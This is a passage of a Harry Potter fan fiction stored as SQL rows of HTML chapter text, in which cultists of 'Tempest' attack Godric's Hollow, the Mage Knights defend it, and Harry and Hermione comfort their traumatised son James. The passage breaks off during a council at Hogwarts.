Lord like many believe. He is in fact,\nthe very incarnation of the root of evil himself, Tempest. This is the one\nsecret that must be sealed for all time, for if the masses were to learn that\nTempest himself had returned, the chaos that would ensue would be catastrophic.\nWhat this news signals, is the destruction of Magiterran and the end of our\nfair world.<br>\n<br>\nAnd yet, there is still hope. Hidden somewhere in Magiterran are eight rings,\neight rings presented to the founders by the One Deity himself: Phoenix, Lion,\nSerpent, Dragon, Unicorn, Badger, Eagle, and Sphinx. These eight rings contain\nportions of the power of the One Deity himself and it is these eight rings\ntogether alone that can defeat Tempest.<br>\n<br>\nWe have managed to learn the location of two of these rings, the Lion and the\nPhoenix. Their location is hidden within the Mirror of Erised and it must be noted\nthat only a Muggle-Born can take these rings. We will tell these facts to Albus\nDumbledore and tell him that they are necessary for the defeat of Voldemort.\nHowever, we shall not tell anyone, not even Albus Dumbledore about Tempest&#8217;s\nIncarnation until we have learned the locations of the remaining six rings. If\nless then eight rings are used, then Voldemort would be stopped. However, the\neffect would only be temporary and he will return more powerful than\npreviously, for with each rebirth, Voldemort gains more of the power he lost as\nTempest. For him to be truly defeated, all eight rings must be used against\nhim.<br>\n<br>\nWe leave this account behind in case we ever leave this world prematurely. It\nis a burden we wish to never have had on our children and pray that they will\nforgive us. The Eight Rings must be found for the sake of not only Magiterran\nbut of the world. I simply hope, our children will find this parchment before\nit is too late. Our prayers go out to the generation who find this parchment.\nMay the power of the One Deity be with you, always.&#8221;<br>\n<br>\nBy the time Dumbledore had finished reading the room was deathly quiet. Sirius,\nRemus, and Snape were extremely pale, and seemed to be shocked. Dumbledore&#8217;s\neyes had lost their twinkle and his face was grave. Harry and Hermione, whom\nhad already read the parchment, were sitting in chairs and clutching each\nother&#8217;s hands.<br>\n<br>\n&#8220;So what does that mean?&#8221; whispered Sirius.<br>\n<br>\n&#8220;It means you fool, that Voldemort is going to come back some time soon, more\npowerful than previously,&#8221; yelled Snape. Sirius scowled at him.<br>\n<br>\n&#8220;I never knew any of this,&#8221; said Dumbledore. &#8220;James and Lily had good\nintentions but I wish that they had at least shared this with me,&#8221;<br>\n<br>\nThe silence of the room was suddenly disrupted when Hogwarts Trainer Minerva\nMcGonagall burst into the room, looking clearly distressed. She seemed surprise\nto find Harry, Hermione, Sirius, and Remus there, but she quickly composed\nherself.<br>\n<br>\n&#8220;Yes Minerva,&#8221; said Dumbledore, &#8220;what is it?&#8221;<br>\n<br>\n&#8220;Albus,&#8221; she said, clearly out of breath, &#8220;Godric&#8217;s Hollow is under attack!&#8221;<br>\n<br>\n* * *<br>\n<br>\nRon Weasley was feeling content with his life. He lived in a large mansion on\nthe outskirts of Godric&#8217;s Hollow with his beautiful wife, Margaret\nChapel-Weasley and his four-year old son, Christopher.<br>\n<br>\nAs he walked into the Nursery, Ron sighed at the sight of Margaret playing with\nChristopher, whom was a miniature version of Ron himself, down to the red hair\nand freckles. Hearing the sigh, Margaret looked up.<br>\n<br>\n&#8220;Ron, what is it?&#8221; she asked, her long auburn hair swaying and her hazel eyes\nbrimming with love.<br>\n<br>\n&#8220;Oh, just admiring the view,&#8221; said Ron. &#8220;The sheer beauty of it. Sure wish you\nwere able to see it.&#8221;<br>\n<br>\nMargaret smiled. She stood up and made her way over to Ron and they kissed\npassionately. Christopher looked up at his kissing parents with curiosity in\nhis eyes. &#8220;What arwe Daddy and Mommy dowing?&#8221; he asked.<br>\n<br>\nRon and Margaret broke apart to make an embarrassed grin at Christopher. &#8220;Daddy\nis just showing Mommy how much he loves her,&#8221; said Ron.<br>\n<br>\n&#8220;Daddy and Mommy wuves Chris too, wight?&#8221; said Christopher.<br>\n<br>\n&#8220;Of course we do,&#8221; said Margaret. She picked up Christopher and kissed him on\nhis cheek. Ron grinned and circled his arms around Margaret who leaned back on\nhim.<br>\n<br>\n&#8216;I could stay like this forever,&#8217; thought Ron, as he held his wife and son\nclose to him.<br>\n<br>\nSuddenly, there was a loud explosion in the city. Alarmed, Ron and Margaret\nbroke apart just in time to see a wall of fire go up in the main street.<br>\n<br>\n&#8220;Oh my God,&#8221; whispered Maragret.<br>\n<br>\nWithout a word, Ron dashed downstairs. He was just about to leave when the\nfront door burst open.<br>\n<br>\nThree hooded figures in black cloaks walked in, their swords drawn. The first\nthought that crossed Ron&#8217;s mind was &#8216;Death Eaters!&#8217; However, instead of the\nDark Mark, these figures had images of a heart shaped, blue crystal on their\ntorsos.<br>\n<br>\n&#8220;Sir Ronald Weasley, surrender to us to executed or be killed by us right\nhere,&#8221; hissed the leader of the three.<br>\n<br>\n&#8220;Oh, so I can surrender and die or fight and die, lovely choices,&#8221; said Ron.\n&#8220;Who are you and what are you doing in my house?!&#8221;<br>\n<br>\n&#8220;We are the Children of Tempest,&#8221; said the leader.<br>\n<br>\nRon thought his heart had stopped. &#8220;Tempest?&#8221; he whispered, visibly pale.<br>\n<br>\n&#8220;Crucio!&#8221; yelled the lead figure. Ron ducked and narrowly avoided the Cruciatus\nCurse. He willed himself to emit a dazzling display of white light and in a\nsplit second, his blue aristocratic robes had transformed into his familiar red\nand silver armor of a Gryffindor Mage Knight.<br>\n<br>\nRon drew his sword and lowered himself into a battle ready stance. &#8220;You&#8217;re\ngoing to pay for that,&#8221; he hissed.<br>\n<br>\n&#8220;Crucio!&#8221; shouted another one of the figures. Ron rolled forwards and dodged\nthe curse. He leapt to his feet and with a yell, swung his sword down at the\nlead figure. The leader caught the blade on his sword, and the sound of metal\nhitting metal rang throughout the mansion.<br>\n<br>\nUndaunted, Ron continued slashing his sword at the lead figure, the two blades\nconstantly clashing against each other. Finally, he landed a high kick on the\nfigure&#8217;s chin and knocked him back.<br>\n<br>\nAnother one of the figures had crept up behind Ron and was about to curse him.\nRon however, spun around and shouted, Expelliarmus!&#8221; To the figure&#8217;s horror,\nhis sword flew out of his hand and into Ron&#8217;s. Ron then bashed the hilt of his\nsword onto the figure&#8217;s head and knocked him out.<br>\n<br>\nThe third figure leapt at Ron, brandishing his sword forward. With a quick turn\nover, Ron managed to fling the figure through the window out into the yard. Ron\ncarefully stepped through the broken glass into the yard just as the figure was\nstanding up.<br>\n<br>\nThe figure brandished his sword and charged at Ron. Ron twirled around the two\nswords in his hands and deflected all of the figure&#8217;s blows. He then spun\naround, his own sword first hitting the figure&#8217;s sword, then the sword of the\ndisarmed figure knocking it out of his hand, and finally he landed a high kick\non the figure&#8217;s chin. The figure reeled back.<br>\n<br>\nNot finished yet, Ron threw the sword of the disarmed figure at the other\nfigure. It twirled through the air and finally, the hilt hit the forehead of\nthe figure, knocking him out.<br>\n<br>\nSatisfied with his handiwork, Ron turned around and saw a horrifying sight.\nFour more hooded figures had entered the yard. They were holding a frightened\nMargaret and a crying Christopher at sword point.<br>\n<br>\n&#8220;Surrender or they die!&#8221; shouted one of the figures. Margaret, though\nfrightened, shook her head vigorously, trying to tell Ron to not surrender.<br>\n<br>\nRon however, would&#8217;ve rather died before Margaret and Christopher were harmed.\nDefeated, he started to turn his sword over into a surrendering position.<br>\n<br>\n&#8220;Stupefy!&#8221; A stunner that had been fired from behind suddenly hit one of the\nfigures. Not missing his chance, Ron darted forward and swung his sword at the\nfigure that was holding on to Margaret and Christopher. The figure immediately\nlet go of them to defend himself. Margaret and Christopher managed to scramble\naway as Ron knocked the figure out.<br>\n<br>\nThe remaining two figures tried to get away, but were suddenly stopped by the\nred haired, female Gryffindor Mage Knight whom had fired the stunner.<br>\n<br>\n&#8220;Ginny!&#8221; shouted Ron. Sir Virginia Weasley smiled at her older brother once\nbefore turning toward her adversaries.<br>\n<br>\nThe two figures pulled their swords out just as Ginny pulled hers out. Without\na word, the two figures charged at Ginny. Ginny simply lowered herself into a\nbattle ready stance and waited patiently.<br>\n<br>\nThe first swung his sword down at Ginny. Ginny twirled her own sword upwards\nand deflected the blows of the figure. She swung her sword forward but the figure\nmanaged to deflect her blow. Ginny spun around and landed another blow on the\nfigure&#8217;s blade.<br>\n<br>\nThe other figure finally caught up and swung his sword at Ginny. Ginny twirled\nher sword around and deflected all the blows. Finally, she managed to ram her\nhilt into the faces of one of the figures.<br>\n<br>\nRealizing that he was now alone, the last figure disapparated away. All of the\nunconscious figures also disappeared as well.<br>\n<br>\nGinny breathed a sigh of relief and made her way over to her brother&#8217;s family.\nRon was holding Margaret and a crying Christopher close to him.<br>\n<br>\n&#8220;Are you OK?&#8221; he asked.<br>\n<br>\n&#8220;Yes,&#8221; said Margaret. &#8220;I&#8217;m all right. Oh, but Ron, Chirs.&#8221;<br>\n<br>\nChristopher was crying into his Dad&#8217;s shoulder. Ron hugged his young son close\nto his chest. &#8220;You&#8217;ll be OK, son,&#8221; he said.<br>\n<br>\n&#8220;Daddy,&#8221; wailed Christopher.<br>\n<br>\n&#8220;Ron,&#8221; said Ginny, &#8220;The city, its still under attack.&#8221;<br>\n<br>\nRon nodded. He turned to Christopher and said, &#8220;Son, I want you to do me a\nfavor.&#8221;<br>\n<br>\nChristopher managed to will himself to stop crying. He sniffed and nodded.<br>\n<br>\n&#8220;Chris, Daddy has a job to do. So I want you to protect your Mommy while Daddy\nis away.&#8221;<br>\n<br>\n&#8220;OK,&#8221; sniffed Christopher. Ron grinned.<br>\n<br>\n&#8220;Good Luck,&#8221; said Margaret. She kissed Ron sweetly.<br>\n<br>\n&#8220;Come one Ron, lets go,&#8221; said Ginny. Without a word, the two Weasleys ran as\nfast as they could to save the city.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N Enjoyable was it not. Well, this time my website is positively, truly up.\nSo go visit it in my author&#8217;s section and tell me what you think! People who\nhave visited it so far have told me that they like it.<br>\n<br>\nI am going on a three week trip to Oregon starting today, so I&#8217;m sorry to say\nthat the next time I update might very well be three weeks from now. However,\nif I&#8217;m lucky, I just might be able to get a hold of a word processor and some\ninternet access and upload a little faster. However, I am not making any\npromises. Oh yes, in case some of you have forgotten, female Mage Knights go by\n&#8220;Sir&#8221;, not &#8220;Dame&#8221; or &#8220;Lady&#8221;.<br>\n<br>\nNext: Godric&#8217;s Hollow is under attack! What are James and Lin going to do?</p>\n\n\n\n\n\n\n'),
	(224, 4, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 3: An Attack on Godric&#8217;s Hollow<br>\n<br>\n&#8220;What&#8217;s all that shouting?&#8221; asked Lin. She was reading a book in the Royal\nNursery while James was swinging around a wooden sword. Virginia was asleep in\nher bed.<br>\n<br>\n&#8220;I dunno,&#8221; said James. &#8220;Maybe its New Years.&#8221;<br>\n<br>\n&#8220;James! New Years was a month and a half ago.&#8221;<br>\n<br>\n&#8220;I know that Lin.&#8221; James stood up and made his way to the window. He looked out\nand gasped at what he saw. Lin clearly saw that look of horror that crossed her\ntwin&#8217;s face.<br>\n<br>\n&#8220;James what is it?&#8221; she asked. When James said nothing, Lin also made her way\nto the window. What she saw was horrified her beyond belief.<br>\n<br>\nThe outskirts of the city were on fire! A lot of shouting could be heard and\nthere were bright green lights flashing in the flaming zones. Screams were\ncarried by the wind and heard quite clearly in the West Wing where the nursery\nwas.<br>\n<br>\n&#8220;Oh my God,&#8221; muttered Lin. Her face was pale, her body was shaking, and tears\nstarted to build up in her eyes. &#8220;The city...all those people...what is going\non?&#8221;<br>\n<br>\nBefore another second was lost, James ran out of the nursery and dashed down\nthe steps. Lin shouted, &#8220;James, don&#8217;t go! Stay here!&#8221; But James completely\nignored his sister as he ran as fast as he could toward the city, evading\npanicking servants in the process.<br>\n<br>\n* * *<br>\n<br>\nGodric&#8217;s City was under attack. Such an event hadn&#8217;t happened for years, since\nthe conclusion of the War against Voldemort. For this reason, the residents of\nthe city started panicking as hundreds of mysterious cultists, calling\nthemselves &#8220;The Children of Tempest&#8221;, started putting buildings on fire and\nkilling off commoners and muggles that lived in the city.<br>\n<br>\nHowever, Godric&#8217;s Hollow was the Greatest Fortress City in all of Magiterran\nand the capitol of the most military oriented kingdom of the Alliance. As a\nresult, the cultists had to face the greatest soldiers and Mage Knights in all\nthe Alliance.<br>\n<br>\nStanding at the front line of the battle was General Oliver Wood, second in\ncommand of the Gryffindor military. It was Wood&#8217;s cool organization that kept\nthat Gryffindor forces from falling out of control. Wood himself was fighting\ncultists at the forefront, twirling his spear around skillfully. However,\nenemies soon started to overwhelm him and before he knew it, cultists\nsurrounded Wood.<br>\n<br>\n&#8220;Damn!&#8221; he cursed. Cultists swarmed around him brandishing their weapons and\nWood twirled his spear around, mustering all of the self-defense techniques he\nknew. However, one cultist finally managed to kick Wood in the gut. Wood bent\nover in pain and the cultist was about to run him through when suddenly, a\nsword flashed and the cultist was decapitated. Wood looked up to see who was\nhis rescuer.<br>\n<br>\n&#8220;General Weasley,&#8221; said Wood, instantly recognizing his commanding officer.<br>\n<br>\nRon helped Wood to his feet. &#8220;You OK?&#8221; he asked. When Wood nodded, Ron said,\n&#8220;Come on, we&#8217;re needed elsewhere.&#8221; He and Wood took off to sections where the\nfighting was thicker.<br>\n<br>\nIn another part of the city, Mage Knights Sir Angelina Johnson, Sir Katie Bell,\nand Sir Alicia Spinnet were fighting off cultists. During the duel, one of the\ncultist&#8217;s battle-axes grazed Angelina&#8217;s right shoulder. Angelina grimaced in\npain and sank to her knees.<br>\n<br>\n&#8220;Angelina!&#8221; Sir Katie stabbed the cultist whom had wounded Angelina and made it\nover to her friend. &#8220;Are you all right?&#8221;<br>\n<br>\n&#8220;I&#8217;ll live,&#8221; said Angelina, despite her pain.<br>\n<br>\nSir Alicia was meanwhile fighting another cultist. After deflecting a few blows\nfrom the cultist&#8217;s sword, Alicia made a flying leap over the cultist&#8217;s head,\nkicked on the wall of a house behind the cultist, spun around midair and landed\na kick with her right foot onto the cultist&#8217;s face. The cultist was knocked out\nfor the count.<br>\n<br>\nIt was then that Alicia noticed that there was another cultist about a hundred\nyards away, holding a dagger at the throat of a young boy about ten years old.\n&#8220;Oh my God!&#8221; she muttered.<br>\n<br>\nStarting to panic, Alicia made a mad dash toward the cultist. But when she had\nonly made a few steps, an arrow flew past Alicia&#8217;s face from behind and hit the\ncultist between the eyes. The cultist fell over dead as Alicia gathered the\ncrying boy into her arms.<br>\n<br>\nIt was Ginny whom had shot the arrow. She quickly placed another arrow into her\nbow and shot another cultist who was trying to ambush Angelina and Katie. Ginny\nmade her way over to Alicia and asked, &#8220;The boy, is he hurt?&#8221;<br>\n<br>\n&#8220;No,&#8221; said Alicia. &#8220;But he&#8217;s in shock. I&#8217;ll take him to somewhere safe.&#8221; Ginny\nnodded and Alicia carried the boy away from the battle zone. Ginny then made\nher way to Angelina and Katie. She inspected the wound on Angelina&#8217;s shoulder.<br>\n<br>\n&#8220;Its deep,&#8221; said Ginny. &#8220;But not fatal. You should get it disinfected now.&#8221;<br>\n<br>\n&#8220;I can still fight!&#8221; demanded Angelina.<br>\n<br>\n&#8220;If you continue fighting, you&#8217;ll lose your arm to infection,&#8221; said Ginny.\n&#8220;You&#8217;ve done enough, let us take care of the rest.&#8221; Angelina reluctantly agreed\nand started to make her way out of the battle zone.<br>\n<br>\nRon&#8217;s voice was heard saying, &#8220;There you are.&#8221; Ginny looked behind her to see\nRon and Wood make their way up to them. &#8220;There are more cultists down by the\nsouthern gates,&#8221; said Ron.<br>\n<br>\n&#8220;Lets go,&#8221; said Ginny. She, Ron, Katie, and Wood started running toward the\nsouth where the battle was still raging.<br>\n<br>\n* * *<br>\n<br>\nA battle zone was not the place for a six-year-old child. There were some\nthings that a six year old boy should never have to see and one of those things\nshould be people being hurt and killed. But James couldn&#8217;t just stand still. He\nwas old enough to know what pain and suffering was and he could not just stay\nstill in the palace while the citizens of the city suffered.<br>\n<br>\nJames had snuck out into the city on a number of occasions. He therefore knew\nthe city backwards and forwards and had no problem making his way to the\nforefront of the battle. What he saw there were things that a child should\nnever see. Yet, James was still determined to help people who were suffereing.<br>\n<br>\nHe came across a young woman and her baby. The baby was crying and the mother\nwas trying to calm the baby despite the fact that her right leg was injured.\nJames made his way over to the woman and took her arm.<br>\n<br>\n&#8220;Come on, lets go,&#8221; he said.<br>\n<br>\nThe woman was completely startled. &#8220;Your highness?&#8221; she asked, shocked to see\nthe young heir to the throne out in the midst of a battle zone. &#8220;Your highness,\nyou shouldn&#8217;t be here.&#8221;<br>\n<br>\n&#8220;That doesn&#8217;t matter!&#8221; hissed James. With strength that was amazing for a\nsix-year-old, James helped the woman to her feet and started to lead her away.<br>\n<br>\n&#8220;Well, well, well, what do we have here?&#8221; came a cold, cruel voice from behind\nthem. James froze in fear, and he slowly looked behind to see a sinister\nlooking cultist brandishing a sword. &#8220;Three more victims,&#8221; said the cultist,\n&#8220;this must be my lucky day.&#8221;<br>\n<br>\nJames&#8217;s fear was suddenly replaced with a burning anger, which he had never\nfelt in young life. He yelled as loud as he could and tackled the cultist! The\ncultist was completely caught by surprise and was bowled over by the small boy.<br>\n<br>\nNot yet finished, James caught sight of a large dagger (which for him was a\nshort sword) on the ground near by. He picked it up and started swinging it at\nthe cultist whom had just got up.<br>\n<br>\nThe cultist was completely caught off guard the young boy with his short sword.\nJames had a natural skill with swords, just like his father, and was putting up\na good fight against the cultist. However, the cultist was far more older and\nfar more experienced than the young boy, and he soon disarmed James.<br>\n<br>\nJames adrenaline rush cooled down and the fear returned. He stared, paralyzed,\nat the cultit&#8217;s sword as the cultist lifted it over his head. &#8220;Too bad,&#8221; said\nthe cultist. &#8220;You would&#8217;ve made a great Mage Knight.&#8221;<br>\n<br>\nThe cultist was just about to kill James when none other than Sir Harry Potter\nleapt from the side. In a roar of rage, Harry landed a flying kick into the\ncultis&#8217;s face. The cultist quickly scrambled back to his feet as Harry readied\nhimself for battle, his silver and scarlet Mage Knight armor gleaming, and the\nruby-encrusted sword of Godric Gryffindor shining in his right hand.<br>\n<br>\nJames was floored by relief when he realized that his father had just saved his\nlife. As he wearily sank to the ground, his mother came ran forward, wearing\nglistening Mage Knight armor herself, and pulled James into a strong hug.<br>\n<br>\n&#8220;Oh James, are you all right? What are you doing here? Where are your sisters?&#8221;\nquestioned a half panicked Hermione as she hugged James closey to her body,\ntears in her eyes.<br>\n<br>\nJames barely registered the fact that this was the first time he had never seen\nhis mother in Mage Knight armor, though he had seen his father wearing the\narmor often. As Hermione hugged him fiercely, reality dawned on James and he\nslowly realized that he could&#8217;ve died because of his rash behaviour. He started\nto cry in Hermione&#8217;s arms.<br>\n<br>\nHarry meanwhile was dueling the cultist. The cultist vainly tried to fight the\nenraged Mage Knight off but Harry was far superior in terms of both magic and\nsword skill. The cultist tried to land as many blows as he could on Harry but\nHarry simply parried back and forth and deflected all the blows. Finally,\ncaught the cultist off guard. He shouted, &#8220;Stupefy!&#8221; and knocked the cultist\nout for the count.<br>\n<br>\nHaving won the duel, Harry made his way to his wife and son. &#8220;James?&#8221; he asked,\nhis emerald green eyes shining with worry and concern.<br>\n<br>\n&#8220;He&#8217;ll be all right,&#8221; whispered Hermione. She gently lifted James up who did\nnot seem to want to let his mother go. &#8220;I&#8217;ll go take him somewhere safe. You go\nsave the city.&#8221;<br>\n<br>\nHarry started to protest but Hermione cut him off, &#8220;You&#8217;re a king, Harry!\nPeople are depending on you!&#8221;<br>\n<br>\nHarry sighed. He would&#8217;ve much rather have fulfilled his role as father than\nhusband than that of king but Hermione was right: the people needed him. &#8220;OK,&#8221;\nhe said. &#8220;Just be careful, alright?&#8221;<br>\n<br>\nHermione smiled at him and started to walk away from the battle-zone. Harry\ntook a deep breath and started running toward the thick of the battle. Many\nGryffindor soldiers recognized him as he came.<br>\n<br>\n&#8220;The king!&#8221; they shouted. &#8220;The king is here! The king is here!&#8221; The soldiers\nand Mage Knights were suddenly boosted with morale and started fighting far\nmore valiantly than they all ready were.<br>\n<br>\nHarry fought his way over to Ron whom was keeping a whole battalion of cultists\nat bay. &#8220;Harry!&#8221; he shouted when he caught sight of his best friend. &#8220;Where\nhave you been?&#8221;<br>\n<br>\n&#8220;I was kind of busy,&#8221; said Harry as he stabbed one of the cultists. He didn&#8217;t\nthink that now was the time to explain to Ron about the Crystal of Tempest.<br>\n<br>\n&#8220;If you say so,&#8221; said Ron. He blocked the blows of one cultist and slashed at\nanother.<br>\n<br>\nHarry shouted, &#8220;Reducto!&#8221; Blasted some twenty cultists away. The Gryffindor\nMage kNights also started firing powerful hexes and curses at the cultists who\nwere now getting over whelmed.<br>\n<br>\nFinally, the cultists must have realized that they were fighting a losing\nbattle and disapparated away. Most of the unconscious cultists also disappeared\nthough some remained. There were still a lot of bodies of those that had been\nkilled in the battle.<br>\n<br>\nIn this way, Godric&#8217;s Hollow survived an attack of some nine hundred or so\ncultists.<br>\n<br>\n* * *<br>\n<br>\nThe attack wasn&#8217;t necessarily catastrophic, the damage done was still terrible.\nAbout seventy Gryffindor soldiers had been killed along with some thirty two\ncivilians, including fifteen women and three children. Although this was\nnothing compared to the six hundred fifty one cultists killed, the damage was\nstill felt.<br>\n<br>\nHarry spent much of the night comforting the residents of the city whom had\nlost loved ones in the battle. It was his duty as king to care for the people\nhe loved and many were grateful for having the king whom comforted them in\ntheir grief.<br>\n<br>\nAs Harry was looking in on some of the wounded soldiers, he caught sight of\nJames, sitting on a log near one of the medical tents that were treating the\nwounded. James had a far away look in his eyes and was staring at nothing in\nparticular. The normally hyper active boy was sitting very quietly and still.<br>\n<br>\nHarry felt a lump forming in his throat and tears stung his eyes. James was too\nyoung to have experienced what he had that day. No one should&#8217;ve ever gone\nthrough what his son had that night. Harry gently made his way over to his son\nand whispered, &#8220;James.&#8221;<br>\n<br>\n&#8220;Dad,&#8221; James whispered back.<br>\n<br>\nHarry knelt down in front of his son and placed his hand on James&#8217;s shoulder.<br>\n<br>\n&#8220;Dad, they were hurting everyone,&#8221; said James. &#8220;They were hurting everyone. Why\nDad, why?&#8221;<br>\n<br>\n&#8220;I don&#8217;t know, son,&#8221; whispered Harry. James didn&#8217;t seem to have heard him.<br>\n<br>\n&#8220;I saw those people, in those black cloaks. They were hurting everybody, Dad.\nThey were hurting everybody. I wanted to stop them. I wanted to stop them. I\ntried. I tried to help, Dad.&#8221;<br>\n<br>\n&#8220;James...&#8221;<br>\n<br>\n&#8220;Why do people hurt other people, Dad?&#8221;<br>\n<br>\n&#8220;I don&#8217;t know. But that&#8217;s why there are Mage Knights. To stop people from\nhurting other people.&#8221;<br>\n<br>\nJames looked up into his father&#8217;s eyes, tears finally starting to brim on his\nemerald orbs. &#8220;I want to become a Mage Knight, Dad.&#8221;<br>\n<br>\n&#8220;James,&#8221;<br>\n<br>\n&#8220;I want to become a Mage Knight, Dad. I want to stop people from hurting other\npeople.&#8221;<br>\n<br>\nJames had often said that he wanted to become a Mage Knight but that was mostly\nwhen he was dreaming and because of his craving for adventure. Now, as he\nstared into James&#8217;s eyes, he saw the determination of someone far older than\nsix-years-old who truly wanted to make a difference in the world. It was in\nthat moment that Harry realized that James would indeed become a great Mage\nKnight.<br>\n<br>\nHarry leaned forward and pulled James into a strong hug. As this was some kind\nof cue, James burst into tears and started sobbing on Harry&#8217;s shoulder. They\njust remained in that position for a few minutes.<br>\n<br>\nHermione caught sight of Harry and James as she left one of the medical tents.\nShe felt a lump in her throat as she saw Harry and James hug each other, James\nsobbing like the child he was. Hermione slowly made her way over to her husband\nand son.<br>\n<br>\nHarry looked and caught sight of Hermione as she also kneeled in front of them.\nHarry gently switched a still crying James into Hermione&#8217;s arms and he gently\nwrapped his arms around Hermione and James.<br>\n<br>\nSlowly, James cried his emotional turmoil away in the arms of his parents. He\nhad been through so much that night but he was now, already an older person,\nthough he was still definitely a child. Exhaustion started to creep over him\nand he soon fell asleep in Hermione&#8217;s arms.<br>\n<br>\nHarry and Hermione noticed that James had fallen asleep. Wordlessly, they\nlooked up a t each other and shared a passionate kiss. When they pulled apart,\nthere was much sadness in their eyes, but there was also relief that James was\nOK. They gently got up and started to make their way to the palace.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N Well, what do you know. I am in Oregon, my vacation is no where near over,\nand I still manage to get another chapter ready for the uploading! Dang, I&#8217;m so\nglad I decided to bring my floppy disks that contained this story!<br>\n<br>\nSo, how do you like this chapter? Was it good? Did I make James realistic\nenough? That&#8217;s my number one fear, that James isn&#8217;t acting realistically in\nthis chapter. So please, tell me. Next: The trio embark on another mission.</p>\n\n\n\n\n\n\n'),
	(224, 5, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 4: To Ravenclaw<br>\n<br>\nIt was a very subdued environment that Harry and Hermione returned to in the\npalace. Without speaking a word to any of their subjects, they slowly carried a\nsleeping James up to the West Wing where the Royal nursery and their bedroom\nwere. When they arrived there, Lin was nearly hysterical.<br>\n<br>\n&quot;Oh James!&quot; she wailed, when Harry and Hermione walked in carrying\nher sleeping twin. Tears were streaming down her eyes and her body was shaking.\nAs Hermione laid James down on his bed, Lin went to their side, her tear full\neyes filled with worry and terror. &quot;Mum, Dad, is he going to be OK? If\nanything happened to James...&quot; Lin swallowed a sob and burst into more\ntears.<br>\n<br>\nHermione kneeled down and hugged Lin close to her. Harry also crouched down and\nstroked Lin\'s hair as Lin sobbed in Hermione\'s arms.<br>\n<br>\n&quot;He\'ll be all right,&quot; whispered Hermione, assuring both Lin and\nherself. &quot;He\'s a strong boy, he\'ll be all right.&quot; Hermione wiped away\na tear that trickled down her cheek. Lin said nothing, and simply continued\ncrying until she to eventually fell asleep.<br>\n<br>\nAs soon as Harry noticed that Lin was asleep, he gently lifted her out of\nHermione\'s arms and put her into bed. He bent over and kissed her forehead and\nwhispered, &quot;Good night, Angel.&quot; He then did the same to Virginia,\nwhom had blissfully slept through the whole ordeal, and gently led Hermione to\ntheir bedroom.<br>\n<br>\n* * *<br>\n<br>\nThat night, Harry awoke to the sound of soft sobbing next to him. He looked\nover and saw Hermione crying.<br>\n<br>\n&quot;Hermione?&quot; he whispered. &quot;What is it Love?&quot; He gently\nwiped the tears away from her face.<br>\n<br>\n&quot;James,&quot; whispered Hermione as she choked back a sob. &quot;He\ncould\'ve died today. Our son could\'ve died today, Harry.&quot;<br>\n<br>\nHarry said nothing. Harry remembered so clearly earlier that day, when he felt\nas if his heart had stopped when he had seen James out in the battle zone. He\npulled Hermione closer to him as she burst into another round of sobs.<br>\n<br>\n&quot;Harry,&quot; whispered Hermione. &quot;Do you really want our children to\ngrow up and become Mage Knights?&quot; There was so much worry and concern in\nher voice that Harry didn\'t know what to say. Harry knew that James had his\nheart set on becoming a Mage Knight, especially after the events of that day.\nHe also knew that Lin would most likely follow her twin into whatever he chose.\nHarry was well aware of the extreme dangers that Mage Knights faced on a daily\nbasis. And if indeed Voldemort was going to return, than the dangers would be\nmagnified.<br>\n<br>\n&quot;That would be up for them to decide,&quot; said Harry. &quot;If our\nchildren want to become Mage Knights, than that would be their choice, not\nours.&quot;<br>\n<br>\nHermione nodded. For a few minutes there was complete silence. Finally Hermione\nspoke, &quot;I\'m scared, Harry.&quot;<br>\n<br>\nHarry knew exactly what Hermione was talking about. &quot;I know. So am\nI.&quot;<br>\n<br>\n&quot;He can\'t be coming back, Harry,&quot; whispered Hermione, her voice\nshaking. &quot;We\'ve already defeated him twice. How many more times do we have\nto fight him?&quot;<br>\n<br>\n&quot;I don\'t know,&quot; said Harry, his voice trembling as well. &quot;Twice,\nwe\'ve defeated Voldemort and yet he still returns, when we least expect it.\nIt\'s like a never-ending cycle. But at least now we can give that cycle a name,\neven if it is \'Tempest\'.&quot; Both of them shuddered at the name. &quot;I\'m\nscared as well, but I also firmly have faith that we will be able to pull\nthrough.&quot;<br>\n<br>\nHermione nodded. She shifted deeper into Harry\'s arms and laid her head on\nHarry\'s chest. Her fear started to subside and Hermione felt herself relax.\nHarry\'s arms were her comfort zone; she always felt the safest when she was\nlying in Harry\'s arms. She often wondered how a lowly muggle-born peasant girl\nlike herself could have gained the love of the most amazing man in all of\nMagiterran. Sure he was the king of Gryffindor and amongst the greatest of the\nMage Knights but to Hermione he was always and forever her best friend, lover,\nand husband.<br>\n<br>\nHermione looked up into the green eyes of her husband that she loved so much.\nThe two pools of emerald shone with so much love for her that Hermione nearly\nstarted crying again. &quot;I love you,&quot; she whispered, feeling the need\nto assure herself for the dark times that were coming once again.<br>\n<br>\n&quot;I love you too,&quot; whispered Harry. He lowered his lips down to\nHermione\'s and they kissed with an urgency of needing to assure each other that\nthey would always be together, no matter how dark the times would become. The\nnight silently crept along as passion was exchanged, skin was felt, and husband\nand wife joined together like they had many nights before.<br>\n<br>\n* * *<br>\n<br>\nThe next day, there was a council held at Hogwarts. It was a meeting held in\ntop secret, and the only people who were attending were people who either\nalready knew about Tempest\'s return, or were suspecting it. Those present that\nday were Dumbledore, Harry, Hermione, Sirius, Remus, Snape, McGonagall, Ron,\nand Ginny.<br>\n<br>\n&quot;This is perhaps one of the greatest crisis the Alliance has ever\nfaced,&quot; said Dumbledore as he opened the meeting. &quot;All of us here are\nfully aware of what Voldemort is capable of. And we have reliable sources\nsurrounding the power of Tempest. If Voldemort were to come back, with the full\npower of Tempest, than not only Magiterran but the world will face its\ndoom.&quot;<br>\n<br>\nRon knew the consequences of the news of the Dark Lord\'s return very well.\nHowever, there was one question he had that was simply itching to come out:\n&quot;So what does this all have to do with the attack on 